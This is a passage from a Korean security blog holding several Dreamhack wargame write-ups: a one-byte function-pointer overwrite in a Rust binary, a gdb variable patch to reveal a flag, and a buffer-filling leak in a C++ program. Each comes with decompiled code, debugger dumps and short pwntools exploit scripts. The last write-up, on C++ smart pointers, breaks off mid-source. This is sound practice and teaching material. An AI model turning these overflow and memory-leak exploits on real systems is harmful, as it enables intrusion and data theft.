std::io::stdio::Stdin::read_line(local_108,\u0026amp;local_f8,local_140); \u0026lt;\u0026gt;::branch(\u0026amp;local_118,local_108); if (local_118 == 0) { auVar3 = \u0026lt;\u0026gt;::deref(local_140); auVar3 = core::str::\u0026lt;impl_str\u0026gt;::trim(auVar3._0_8_,auVar3._8_8_); __src = auVar3._0_8_; local_d8 = ZEXT816(0); local_f0 = 0; uStack_ec = 0; uStack_e8 = 0; uStack_e4 = 0; local_e0 = rust; uVar2 = core::str::\u0026lt;impl_str\u0026gt;::len(__src,auVar3._8_8_); if (uVar2 \u0026lt; 0x17) { __n = core::str::\u0026lt;impl_str\u0026gt;::len(__src,auVar3._8_8_); memmove(\u0026amp;local_f0,__src,__n); local_60 = \u0026amp;local_f0; local_8 = [T;_N]\u0026gt;::fmt; local_58 = [T;_N]\u0026gt;::fmt; /* try { // try from 0010ae47 to 0010aebb has its CatchHandler @ 0010abfb */ local_10 = local_60; core::fmt::Arguments::new_v1 (local_90,\u0026amp;PTR_s_/rustc/a28077b28a02b92985b3a3fae_0015f0e0,2,\u0026amp;local_60,1); std::io::stdio::_print((size_t)local_90); if (local_e0 == win) { win(); } else { core::fmt::Arguments::new_const(local_50,\u0026amp;DAT_0015f100,1); /* try { // try from 0010aedb to 0010af10 has its CatchHandler @ 0010abfb */ std::io::stdio::_print((size_t)local_50); } core::ptr::drop_in_place\u0026lt;\u0026gt;(local_140); return 0; } core::fmt::Arguments::new_const(local_c0,\u0026amp;DAT_0015f110,1); std::io::stdio::_print((size_t)local_c0); local_178 = 0; } else { local_178 = \u0026lt;\u0026gt;::from_residual(local_110); } } else { local_178 = \u0026lt;\u0026gt;::from_residual(local_128); } core::ptr::drop_in_place\u0026lt;\u0026gt;(local_140); return local_178; } if (local_e0 == win) { win(); } 위 부분에서 win()함수를 실행하면 될것 같다. 러스트 디버깅이나 동작 방식이 처음 접하는 내용이라 동적 정적 분석을 수시로 왔다갔다 하면서 진행했다. 동적 분석에서 bp를 걸고 확인해보면 win()함수가 동작하지 않았다. 따라서 4바이트 오버플로우가 가능한 부분에 더비 값을 채우고 레지스터를 확인해보자.\n0x000000000000ae83 \u0026lt;+755\u0026gt;: mov rax,QWORD PTR [rsp+0x128] 0x000000000000ae8b \u0026lt;+763\u0026gt;: lea rcx,[rip+0xfffffffffffffb7e] # 0xaa10 \u0026lt;_ZN4prob3win17h2a8d1a9bcf67a7d9E\u0026gt; 0x000000000000ae92 \u0026lt;+770\u0026gt;: cmp rax,rcx 0x000000000000ae95 \u0026lt;+773\u0026gt;: jne 0xaea3 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+787\u0026gt; 0x000000000000ae97 \u0026lt;+775\u0026gt;: mov rax,QWORD PTR [rsp+0x128] 0x000000000000ae9f \u0026lt;+783\u0026gt;: call rax 위 부분에 bp를 걸고 보면 알 수 있다. 다음 사진은 16크기의 a와 b 4개를 붙여 동적 디버깅 해보았다.\n0x000055555555ee92 in prob::main () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────── RAX 0x555562626262 RBX 0x1 *RCX 0x55555555ea10 (prob::win) ◂— sub rsp, 0xe8 RDX 0xfffffffffffffffc RDI 0x5555555b7500 ◂— 0x2c3739202c37395b (\u0026#39;[97, 97,\u0026#39;) RSI 0x5555555b6078 (std::io::stdio::STDOUT) ◂— 0x0 R8 0xa R9 0x2 R10 0x5555555a6364 ◂— 0x101010101010101 R11 0x246 R12 0x7fffff7ff000 ◂— 0x0 R13 0x0 R14 0x7fffffffe4f0 —▸ 0x55555555eb90 (prob::main) ◂— sub rsp, 0x208 R15 0x7fffffffe470 ◂— 0x0 RBP 0x7fffff7fe000 RSP 0x7fffffffe170 ◂— 0x0 *RIP 0x55555555ee92 (prob::main+770) ◂— cmp rax, rcx ───────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────── 0x55555555ee83 \u0026lt;prob::main+755\u0026gt; mov rax, qword ptr [rsp + 0x128] 0x55555555ee8b \u0026lt;prob::main+763\u0026gt; lea rcx, [rip - 0x482] \u0026lt;prob::win\u0026gt; ► 0x55555555ee92 \u0026lt;prob::main+770\u0026gt; cmp rax, rcx \u0026lt;prob::win\u0026gt; 0x55555555ee95 \u0026lt;prob::main+773\u0026gt; jne prob::main+787 \u0026lt;prob::main+787\u0026gt; ↓ 0x55555555eea3 \u0026lt;prob::main+787\u0026gt; lea rsi, [rip + 0x54256] 0x55555555eeaa \u0026lt;prob::main+794\u0026gt; lea rdi, [rsp + 0x1b8] 0x55555555eeb2 \u0026lt;prob::main+802\u0026gt; mov edx, 1 0x55555555eeb7 \u0026lt;prob::main+807\u0026gt; call core::fmt::Arguments::new_const \u0026lt;core::fmt::Arguments::new_const\u0026gt; 0x55555555eebc \u0026lt;prob::main+812\u0026gt; jmp prob::main+843 \u0026lt;prob::main+843\u0026gt; 0x55555555eebe \u0026lt;prob::main+814\u0026gt; jmp prob::main+816 \u0026lt;0x55555555eec0\u0026gt; 0x55555555eec0 \u0026lt;prob::main+816\u0026gt; mov qword ptr [rsp + 0x90], 0 ─────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffe170 ◂— 0x0 01:0008│ 0x7fffffffe178 —▸ 0x7fffffffe288 ◂— \u0026#39;aaaaaaaaaaaaaaaabbbbUU\u0026#39; 02:0010│ 0x7fffffffe180 —▸ 0x55555555dfa0 (core::array::\u0026lt;impl core::fmt::Debug for [T; N]\u0026gt;::fmt) ◂— sub rsp, 0x18 03:0018│ 0x7fffffffe188 ◂— 0x14 04:0020│ 0x7fffffffe190 —▸ 0x5555555b9bb0 ◂— \u0026#39;aaaaaaaaaaaaaaaabbbb\\n\u0026#39; 05:0028│ 0x7fffffffe198 ◂— 0x14 ... ↓ 2 skipped ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► 0 0x55555555ee92 prob::main+770 1 0x55555555d883 core::ops::function::FnOnce::call_once+3 2 0x55555555cea6 std::sys_common::backtrace::__rust_begin_short_backtrace+6 3 0x55555555d409 std::rt::lang_start::{{closure}}+9 4 0x5555555763ab std::rt::lang_start_internal+1051 5 0x5555555763ab std::rt::lang_start_internal+1051 6 0x5555555763ab std::rt::lang_start_internal+1051 7 0x5555555763ab std::rt::lang_start_internal+1051 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg\u0026gt; c cmp 부분을 보면 rcx와 rax를 비교하는데 rax 부분이 b의 아스키 코드인 62로 일부 덮어쓰여져 있다. rcx는 0x55555555ea10 값을 가지고 있으며 win()함수의 주소를 가지고 있다. 이 값이 rax에 동일하게 있으면 wi()함수를 실행하게 될 것이다.\n그럼 공격 방법을 찾아보자\n4바이트 오버라이트가 가능하니 상식적으로 생각해보면 16개의 a 뒤에 0x5555ea10 값을 넣어 전송하면 문제가 풀릴 것이다.\n이떄 예상하지 못한 에러로그를 보았다. Error: Error { kind: InvalidData, message: \u0026ldquo;stream did not contain valid UTF-8\u0026rdquo; } 라는 문구가 출력 되었다. 찾아보니 stdin을 통해 입력 받는 값 중 UTF-8인코딩이 불가능한 값이 있는 것 같은 느낌이 들었다.\n0x5555ea10중 해당 에러를 띄워주는 부분을 0xea 부분으로 추측했다. 아스키코드에는 없는 값이고 해당 값을 파이썬으로 utf-8인코딩을 걸었을 때 에러가 발생하였다. 그러면 0x5555ea까지는 사용할 수 없다는 것을 의미한다. 즉, 1바이트로 주소값을 조작해야 하는데 가능한지 살펴보자.\n0x000055555555ee92 in prob::main () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────── RAX 0x55555555ea62 (prob::win+82) ◂— add byte ptr [rdi], cl RBX 0x1 *RCX 0x55555555ea10 (prob::win) ◂— sub rsp, 0xe8 RDX 0xfffffffffffffffc RDI 0x5555555b7500 ◂— 0x2c3739202c37395b (\u0026#39;[97, 97,\u0026#39;) RSI 0x5555555b6078 (std::io::stdio::STDOUT) ◂— 0x0 R8 0xa R9 0x2 R10 0x5555555a6364 ◂— 0x101010101010101 R11 0x246 R12 0x7fffff7ff000 ◂— 0x0 R13 0x0 R14 0x7fffffffe4f0 —▸ 0x55555555eb90 (prob::main) ◂— sub rsp, 0x208 R15 0x7fffffffe470 ◂— 0x0 RBP 0x7fffff7fe000 RSP 0x7fffffffe170 ◂— 0x0 *RIP 0x55555555ee92 (prob::main+770) ◂— cmp rax, rcx ───────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────── 0x55555555ee83 \u0026lt;prob::main+755\u0026gt; mov rax, qword ptr [rsp + 0x128] 0x55555555ee8b \u0026lt;prob::main+763\u0026gt; lea rcx, [rip - 0x482] \u0026lt;prob::win\u0026gt; ► 0x55555555ee92 \u0026lt;prob::main+770\u0026gt; cmp rax, rcx 0x55555555ee95 \u0026lt;prob::main+773\u0026gt; jne prob::main+787 \u0026lt;prob::main+787\u0026gt; ↓ 0x55555555eea3 \u0026lt;prob::main+787\u0026gt; lea rsi, [rip + 0x54256] 0x55555555eeaa \u0026lt;prob::main+794\u0026gt; lea rdi, [rsp + 0x1b8] 0x55555555eeb2 \u0026lt;prob::main+802\u0026gt; mov edx, 1 0x55555555eeb7 \u0026lt;prob::main+807\u0026gt; call core::fmt::Arguments::new_const \u0026lt;core::fmt::Arguments::new_const\u0026gt; 0x55555555eebc \u0026lt;prob::main+812\u0026gt; jmp prob::main+843 \u0026lt;prob::main+843\u0026gt; 0x55555555eebe \u0026lt;prob::main+814\u0026gt; jmp prob::main+816 \u0026lt;0x55555555eec0\u0026gt; 0x55555555eec0 \u0026lt;prob::main+816\u0026gt; mov qword ptr [rsp + 0x90], 0 ─────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffe170 ◂— 0x0 01:0008│ 0x7fffffffe178 —▸ 0x7fffffffe288 ◂— 0x6161616161616161 (\u0026#39;aaaaaaaa\u0026#39;) 02:0010│ 0x7fffffffe180 —▸ 0x55555555dfa0 (core::array::\u0026lt;impl core::fmt::Debug for [T; N]\u0026gt;::fmt) ◂— sub rsp, 0x18 03:0018│ 0x7fffffffe188 ◂— 0x11 04:0020│ 0x7fffffffe190 —▸ 0x5555555b9bb0 ◂— \u0026#39;aaaaaaaaaaaaaaaab\\n\u0026#39; 05:0028│ 0x7fffffffe198 ◂— 0x11 ... ↓ 2 skipped ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► 0 0x55555555ee92 prob::main+770 1 0x55555555d883 core::ops::function::FnOnce::call_once+3 2 0x55555555cea6 std::sys_common::backtrace::__rust_begin_short_backtrace+6 3 0x55555555d409 std::rt::lang_start::{{closure}}+9 4 0x5555555763ab std::rt::lang_start_internal+1051 5 0x5555555763ab std::rt::lang_start_internal+1051 6 0x5555555763ab std::rt::lang_start_internal+1051 7 0x5555555763ab std::rt::lang_start_internal+1051 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg\u0026gt; rax 레지스터의 값을 보면 다행이도 하위 1바이트를 제외하고 rcx와 동일한 값을 가지고 있다. 따라서 16개의 a와 0x10을 바이트로 전송하면 플레그 획득에 성공한다. 공격 코드와 결과는 다음과 같다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) p = process(\u0026#34;./prob\u0026#34;) payload = b\u0026#34;\\x61\u0026#34;*16 #payload += b\u0026#34;\\x10\\xea\\x55\\x55\u0026#34; payload += b\u0026#34;\\x10\u0026#34; p.sendlineafter(b\u0026#34;Password \u0026gt;\u0026gt; \u0026#34;, payload) print(p.recvall()) root@7cb73a3db36b:/home/dreamhack/chrustmas/deploy# python3 exp.py [+] Starting local process \u0026#39;./prob\u0026#39;: pid 173 [+] Receiving all data: Done (145B) [*] Process \u0026#39;./prob\u0026#39; stopped with exit code 0 (pid 173) b\u0026#34;[97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97]\\nCongratulations! I hope you\u0026#39;ve got a couple Christmas!!!\\nflag: DH{sample_flag}\\n\\n\u0026#34; root@7cb73a3db36b:/home/dreamhack/chrustmas/deploy# 플래그는 더미이며 실 문제 서버에 적용하면 플레그를 획득할 수 있다.\n","permalink":"https://dig06161.github.io/2023/12/29/dreamhack-pwn-chrustmas/","summary":"드림핵 포너블 chrustmas 문제풀이","title":"[Dreamhack] PWN chrustmas"},{"content":"이번 문제는 Dreamhack CTF Season 3 Round #4 (🌱Div2)에 출제된 리버싱 문제이다. 오랜만에 풀어보는 리버싱 문제인데, 리눅스 기반 ELF 바이너리다. 일단 실행시켜보자.\nroot@dig06161-virtual-machine:/home/dig06161/file/dreamhack/Small_Counter# ./chall ---Counter--- 10 9 8 7 6 5 4 3 2 1 ---END--- root@dig06161-virtual-machine:/home/dig06161/file/dreamhack/Small_Counter# 10부터 1까지 출력한다. 여기서 flag를 출력하는 부분을 찾아 실행해야 할 것 같다. 우선 ghidra를 통해 바이너리를 열어보자. main함수의 어셈블리와 디컴파일 코드는 다음과 같다.\n0x0000555555555494 \u0026lt;+0\u0026gt;: endbr64 0x0000555555555498 \u0026lt;+4\u0026gt;: push rbp 0x0000555555555499 \u0026lt;+5\u0026gt;: mov rbp,rsp 0x000055555555549c \u0026lt;+8\u0026gt;: sub rsp,0xf0 0x00005555555554a3 \u0026lt;+15\u0026gt;: mov DWORD PTR [rbp-0x4],0x0 0x00005555555554aa \u0026lt;+22\u0026gt;: lea rax,[rip+0xb53] # 0x555555556004 0x00005555555554b1 \u0026lt;+29\u0026gt;: mov rdi,rax 0x00005555555554b4 \u0026lt;+32\u0026gt;: call 0x555555555090 \u0026lt;puts@plt\u0026gt; 0x00005555555554b9 \u0026lt;+37\u0026gt;: mov DWORD PTR [rbp-0x4],0xa 0x00005555555554c0 \u0026lt;+44\u0026gt;: jmp 0x5555555555a0 \u0026lt;main+268\u0026gt; 0x00005555555554c5 \u0026lt;+49\u0026gt;: mov eax,DWORD PTR [rbp-0x4] 0x00005555555554c8 \u0026lt;+52\u0026gt;: mov esi,eax 0x00005555555554ca \u0026lt;+54\u0026gt;: lea rax,[rip+0xb41] # 0x555555556012 0x00005555555554d1 \u0026lt;+61\u0026gt;: mov rdi,rax 0x00005555555554d4 \u0026lt;+64\u0026gt;: mov eax,0x0 0x00005555555554d9 \u0026lt;+69\u0026gt;: call 0x5555555550b0 \u0026lt;printf@plt\u0026gt; 0x00005555555554de \u0026lt;+74\u0026gt;: cmp DWORD PTR [rbp-0x4],0x3 0x00005555555554e2 \u0026lt;+78\u0026gt;: jne 0x55555555559c \u0026lt;main+264\u0026gt; 0x00005555555554e8 \u0026lt;+84\u0026gt;: movabs rax,0x38383830357b4d49 0x00005555555554f2 \u0026lt;+94\u0026gt;: movabs rdx,0x6a37386a32336a39 0x00005555555554fc \u0026lt;+104\u0026gt;: mov QWORD PTR [rbp-0xf0],rax 0x0000555555555503 \u0026lt;+111\u0026gt;: mov QWORD PTR [rbp-0xe8],rdx 0x000055555555550a \u0026lt;+118\u0026gt;: movabs rax,0x3035363435676a39 0x0000555555555514 \u0026lt;+128\u0026gt;: movabs rdx,0x6a68383234303438 0x000055555555551e \u0026lt;+138\u0026gt;: mov QWORD PTR [rbp-0xe0],rax 0x0000555555555525 \u0026lt;+145\u0026gt;: mov QWORD PTR [rbp-0xd8],rdx 0x000055555555552c \u0026lt;+152\u0026gt;: movabs rax,0x6838306969326968 0x0000555555555536 \u0026lt;+162\u0026gt;: movabs rdx,0x3833356a68693437 0x0000555555555540 \u0026lt;+172\u0026gt;: mov QWORD PTR [rbp-0xd0],rax 0x0000555555555547 \u0026lt;+179\u0026gt;: mov QWORD PTR [rbp-0xc8],rdx 0x000055555555554e \u0026lt;+186\u0026gt;: movabs rax,0x3667376a33343568 0x0000555555555558 \u0026lt;+196\u0026gt;: movabs rdx,0x68696a386b6a356b 0x0000555555555562 \u0026lt;+206\u0026gt;: mov QWORD PTR [rbp-0xc0],rax 0x0000555555555569 \u0026lt;+213\u0026gt;: mov QWORD PTR [rbp-0xb8],rdx 0x0000555555555570 \u0026lt;+220\u0026gt;: mov DWORD PTR [rbp-0xb0],0x7d663232 0x000055555555557a \u0026lt;+230\u0026gt;: mov BYTE PTR [rbp-0xac],0x0 0x0000555555555581 \u0026lt;+237\u0026gt;: lea rcx,[rbp-0xf0] 0x0000555555555588 \u0026lt;+244\u0026gt;: lea rax,[rbp-0x50] 0x000055555555558c \u0026lt;+248\u0026gt;: mov edx,0x45 0x0000555555555591 \u0026lt;+253\u0026gt;: mov rsi,rcx 0x0000555555555594 \u0026lt;+256\u0026gt;: mov rdi,rax 0x0000555555555597 \u0026lt;+259\u0026gt;: call 0x5555555550c0 \u0026lt;memcpy@plt\u0026gt; 0x000055555555559c \u0026lt;+264\u0026gt;: sub DWORD PTR [rbp-0x4],0x1 0x00005555555555a0 \u0026lt;+268\u0026gt;: cmp DWORD PTR [rbp-0x4],0x0 0x00005555555555a4 \u0026lt;+272\u0026gt;: jg 0x5555555554c5 \u0026lt;main+49\u0026gt; 0x00005555555555aa \u0026lt;+278\u0026gt;: cmp DWORD PTR [rbp-0x4],0x5 0x00005555555555ae \u0026lt;+282\u0026gt;: jne 0x5555555555fe \u0026lt;main+362\u0026gt; 0x00005555555555b0 \u0026lt;+284\u0026gt;: lea rax,[rip+0xa5f] # 0x555555556016 0x00005555555555b7 \u0026lt;+291\u0026gt;: mov rdi,rax 0x00005555555555ba \u0026lt;+294\u0026gt;: call 0x555555555090 \u0026lt;puts@plt\u0026gt; 0x00005555555555bf \u0026lt;+299\u0026gt;: mov eax,DWORD PTR [rbp-0x4] 0x00005555555555c2 \u0026lt;+302\u0026gt;: mov DWORD PTR [rbp-0x8],eax 0x00005555555555c5 \u0026lt;+305\u0026gt;: mov edx,DWORD PTR [rbp-0x8] 0x00005555555555c8 \u0026lt;+308\u0026gt;: lea rcx,[rbp-0xa0] 0x00005555555555cf \u0026lt;+315\u0026gt;: lea rax,[rbp-0x50] 0x00005555555555d3 \u0026lt;+319\u0026gt;: mov rsi,rcx 0x00005555555555d6 \u0026lt;+322\u0026gt;: mov rdi,rax 0x00005555555555d9 \u0026lt;+325\u0026gt;: call 0x5555555551c9 \u0026lt;flag_gen\u0026gt; 0x00005555555555de \u0026lt;+330\u0026gt;: lea rax,[rbp-0xa0] 0x00005555555555e5 \u0026lt;+337\u0026gt;: mov rsi,rax 0x00005555555555e8 \u0026lt;+340\u0026gt;: lea rax,[rip+0xa2d] # 0x55555555601c 0x00005555555555ef \u0026lt;+347\u0026gt;: mov rdi,rax 0x00005555555555f2 \u0026lt;+350\u0026gt;: mov eax,0x0 0x00005555555555f7 \u0026lt;+355\u0026gt;: call 0x5555555550b0 \u0026lt;printf@plt\u0026gt; 0x00005555555555fc \u0026lt;+360\u0026gt;: jmp 0x55555555560d \u0026lt;main+377\u0026gt; 0x00005555555555fe \u0026lt;+362\u0026gt;: lea rax,[rip+0xa1c] # 0x555555556021 0x0000555555555605 \u0026lt;+369\u0026gt;: mov rdi,rax 0x0000555555555608 \u0026lt;+372\u0026gt;: call 0x555555555090 \u0026lt;puts@plt\u0026gt; 0x000055555555560d \u0026lt;+377\u0026gt;: mov eax,0x0 0x0000555555555612 \u0026lt;+382\u0026gt;: leave 0x0000555555555613 \u0026lt;+383\u0026gt;: ret undefined8 main(void) { undefined8 local_f8; undefined8 local_f0; undefined8 local_e8; undefined8 local_e0; undefined8 local_d8; undefined8 local_d0; undefined8 local_c8; undefined8 local_c0; undefined4 local_b8; undefined local_b4; undefined local_a8 [80]; char local_58 [72]; uint local_10; uint local_c; local_c = 0; puts(\u0026#34;---Counter---\u0026#34;); for (local_c = 10; 0 \u0026lt; (int)local_c; local_c = local_c - 1) { printf(\u0026#34;%d\\n\u0026#34;,(ulong)local_c); if (local_c == 3) { local_f8 = 0x38383830357b4d49; local_f0 = 0x6a37386a32336a39; local_e8 = 0x3035363435676a39; local_e0 = 0x6a68383234303438; local_d8 = 0x6838306969326968; local_d0 = 0x3833356a68693437; local_c8 = 0x3667376a33343568; local_c0 = 0x68696a386b6a356b; local_b8 = 0x7d663232; local_b4 = 0; memcpy(local_58,\u0026amp;local_f8,0x45); } } if (local_c == 5) { puts(\u0026#34;Nice!\u0026#34;); local_10 = local_c; flag_gen(local_58,(long)local_a8,local_c); printf(\u0026#34;\\n%s\\n\u0026#34;,local_a8); } else { puts(\u0026#34;---END---\u0026#34;); } return 0; } 코드를 분석해보면 플레그를 만들어주는 함수는 flag_gen 함수이고 for 가 동작하는 반복문과 별개의 코드로 if가 동작해야지 플래그를 출력한다. if가 동작하기 위해서는 반복문이 끝난 후 local_c가 5를 가지고 있어야 동작한다. 다만 반복문이 종료되면 local_c가 0을 가지게 된다. 따라서 gdb를 통해 bp를 반복분이 끝나는 시점에 걸고 local_c 값을 강제로 5로 바꾸면 풀 수 있을 것이다.\n다만 바이너리에 bp를 걸면 좀 이상하게 동작한다. PIE가 걸려있어 바이너리를 실행할 때 마다 주소값이 바뀌는 문제가 있다. gdb에서는 디버깅의 편의를 위해 PIE 보호기법이 걸린 바이너리는 코드영역 주소값을 0x555555555000로 가진다. 따라서 한번 실행한 후 main함수를 disass 하면 0x0000555555555494주소를 가진다. 이 부분에 bp를 걸고 이후 main+278부분에 bp를 걸어주면 중단지점을 설정할 수 있다. 이후 set 기능을 이용해 rbp - 4 부분을 5로 쓰면 플래그를 얻을 수 있다.\npwndbg\u0026gt; $rbp-4 Undefined command: \u0026#34;$rbp-4\u0026#34;. Try \u0026#34;help\u0026#34;. pwndbg\u0026gt; p $rbp-4 $1 = (void *) 0x7fffffffe32c pwndbg\u0026gt; x/x 0x7fffffffe32c 0x7fffffffe32c: 0x00000000 pwndbg\u0026gt; set *0x7fffffffe32c=5 pwndbg\u0026gt; x/x 0x7fffffffe32c 0x7fffffffe32c: 0x00000005 pwndbg\u0026gt; c Continuing. Nice! DH{389998e56e90e8eb34238948469ce중략...} [Inferior 1 (process 48876) exited normally] pwndbg\u0026gt; ","permalink":"https://dig06161.github.io/2023/05/31/dreamhack-rev-Small_Counter/","summary":"드림핵 리버싱 Small Counter 문제풀이","title":"[Dreamhack] REV Small Counter"},{"content":"이번 문제는 드림핵 1단계 cpp_string이다.\nC++에서 파일 읽기에 사용되는 is.read 함수는 C언어의 read함수를 std::ifstream에서 사용할 수 있게 포팅한 함수로 C언어의 read와 동일하게 동작한다.\n이전 워 게임에서 메모리를 릭 할때 사용한 할당된 버퍼를 꽉 채운 뒤 null을 자리값을 임의 값으로 넣으면 이후 메모리 주소에 나열되어 있는 메모리 값이 같이 읽히는 것을 볼 수 있다. 이와 동일한 버그가 발생한다는 뜻이다.\n우선 소스코드를 살펴보자.\n//g++ -o cpp_string cpp_string.cpp #include \u0026lt;iostream\u0026gt; #include \u0026lt;fstream\u0026gt; #include \u0026lt;csignal\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; char readbuffer[64] = {0, }; char flag[64] = {0, }; std::string writebuffer; void alarm_handler(int trash) { std::cout \u0026lt;\u0026lt; \u0026#34;TIME OUT\u0026#34; \u0026lt;\u0026lt; std::endl; exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } int read_file(){ std::ifstream is (\u0026#34;test\u0026#34;, std::ifstream::binary); if(is.is_open()){ is.read(readbuffer, sizeof(readbuffer)); is.close(); std::cout \u0026lt;\u0026lt; \u0026#34;Read complete!\u0026#34; \u0026lt;\u0026lt; std::endl; return 0; } else{ std::cout \u0026lt;\u0026lt; \u0026#34;No testfile...exiting..\u0026#34; \u0026lt;\u0026lt; std::endl; exit(0); } } int write_file(){ std::ofstream of (\u0026#34;test\u0026#34;, std::ifstream::binary); if(of.is_open()){ std::cout \u0026lt;\u0026lt; \u0026#34;Enter file contents : \u0026#34;; std::cin \u0026gt;\u0026gt; writebuffer; of.write(writebuffer.c_str(), sizeof(readbuffer)); of.close(); std::cout \u0026lt;\u0026lt; \u0026#34;Write complete!\u0026#34; \u0026lt;\u0026lt; std::endl; return 0; } else{ std::cout \u0026lt;\u0026lt; \u0026#34;Open error!\u0026#34; \u0026lt;\u0026lt; std::endl; exit(0); } } int read_flag(){ std::ifstream is (\u0026#34;flag\u0026#34;, std::ifstream::binary); if(is.is_open()){ is.read(flag, sizeof(readbuffer)); is.close(); return 0; } else{ std::cout \u0026lt;\u0026lt; \u0026#34;You must need flagfile..\u0026#34; \u0026lt;\u0026lt; std::endl; exit(0); } } int show_contents(){ std::cout \u0026lt;\u0026lt; \u0026#34;contents : \u0026#34;; std::cout \u0026lt;\u0026lt; readbuffer \u0026lt;\u0026lt; std::endl; return 0; } int main(void) { initialize(); int selector = 0; while(1){ std::cout \u0026lt;\u0026lt; \u0026#34;Simple file system\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;1. read file\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;2. write file\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;3. show contents\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;4. quit\u0026#34; \u0026lt;\u0026lt; std::endl; std::cout \u0026lt;\u0026lt; \u0026#34;[*] input : \u0026#34;; std::cin \u0026gt;\u0026gt; selector; switch(selector){ case 1: read_flag(); read_file(); break; case 2: write_file(); break; case 3: show_contents(); break; case 4: std::cout \u0026lt;\u0026lt; \u0026#34;BYEBYE\u0026#34; \u0026lt;\u0026lt; std::endl; exit(0); } } } 뭔가 기능이 많아보인다. main 함수부터 분석해보면 어떤 행동을 할지 selector 값을 입력 받는다.\n1번 매뉴를 통해서 read_flag()함수가 동작하여 디렉터리에 있는 flag 파일을 버퍼 크기만큼 읽어 64 크기의 버퍼에 쓴다. 이후 read_file()함수를 통해 동일 디렉터리에 있는 file 파일을 버퍼 크기만큼 읽어 64 크기의 버퍼에 쓴다.\n2번 매뉴를 통해서 file 파일에 버퍼 크기만큼의 값을 쓴다.\n3번 매뉴를 통해 읽어온 file을 출력한다.\n여기서 readbuffer와 flag 변수의 주소는 서로 연속적으로 배치되어 있다. readbuffer 다음에 바로 flag 변수의 주소이다.\n따라서 readbuffer를 최대로 채워줘 문자열의 끝을 알리는 null 바이트를 다른 값으로 덮어 뜨면 flag 변수의 내용을 leak 할수 있다.\n공격 코드는 다음과 같다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) #context.log_level = \u0026#39;debug\u0026#39; p = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 9645) #p = process(\u0026#34;./iofile_vtable_check\u0026#34;, env={\u0026#39;LD_PRELOAD\u0026#39;:\u0026#39;./libc.so.6\u0026#39;}) #p = process(\u0026#34;./cpp_string\u0026#34;) elf = ELF(\u0026#34;./cpp_string\u0026#34;) #libc = ELF(\u0026#34;./libc.so.6\u0026#34;) p.sendlineafter(b\u0026#34;[*] input : \u0026#34;, b\u0026#34;2\u0026#34;) p.sendlineafter(b\u0026#34;Enter file contents : \u0026#34;, b\u0026#34;a\u0026#34;*64) p.sendlineafter(b\u0026#34;[*] input : \u0026#34;, b\u0026#34;1\u0026#34;) p.sendlineafter(b\u0026#34;[*] input : \u0026#34;, b\u0026#34;3\u0026#34;) print(p.recv()) p.interactive() ","permalink":"https://dig06161.github.io/2023/05/08/dreamhack-pwn-cpp_string/","summary":"드림핵 포너블 cpp_string 문제풀이","title":"[Dreamhack] PWN cpp_string"},{"content":"이번 문제는 cpp의 스마트 포인터에 대한 내용이다. 삽질을 좀 오래 했는데 삽질 한 것에 비해 좀 쉽게 풀린 문제다.\nstd::unique_ptr이나 std::shared_ptr과 같은 자료형으로 정의된 스마트 포인터들은 직접 메모리를 동적으로 할당하고 해제하는 일 없이 메모리 관리를 자동으로 해 메모리 릭 등의 취약점이 발생하지 않게 한다. 생각보다 많은 스마트 포인터가 존재하는데 그건 여기서 다루진 않겠다.\ncpp에서 객체를 복사할때 shallow copy와 deep copy가 있다. 직역하면 얕은 복사와 깊은 복사이다.\nstd::make_shared\u0026lt;int\u0026gt;() 메서드를 이용하면 객체의 값을 새로운 메모리에 할당해 복사한다. 이것을 deep copy라고 한다.\n단순히 값을 = 연산자를 통해 주입하는 경우 새로운 메모리를 할당하는 것이 아닌 대상 객체에 포인터를 복사하게 되어 shallow copy가 발생한다. 이때 원본 객체와 복사된 객체 둘중 하나라도 free가 동작하게 되면 다른 객체가 가리키고 있는 포인터 또한 동시에 해제되어 uaf 버그가 발생한다. 여기서 다른 객체 또한 free를 하면 double free 버그가 발생한다.\n문제의 소스코드를 살펴보자.\n// g++ -o pwn-smart-poiner-1 pwn-smart-pointer-1.cpp -no-pie -std=c++11 #include \u0026lt;iostream\u0026gt; #include \u0026lt;memory\u0026gt; #include \u0026lt;csignal\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;cstdio\u0026gt; #include \u0026lt;cstring\u0026gt; #include \u0026lt;cstdio\u0026gt; #include \u0026lt;cstdlib\u0026gt; char* guest_book = \u0026#34;guestbook\\x00\u0026#34;; void alarm_handler(int trash) { std::cout \u0026lt;\u0026lt; \u0026#34;TIME OUT\u0026#34; \u0026lt;\u0026lt; std::endl; exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, 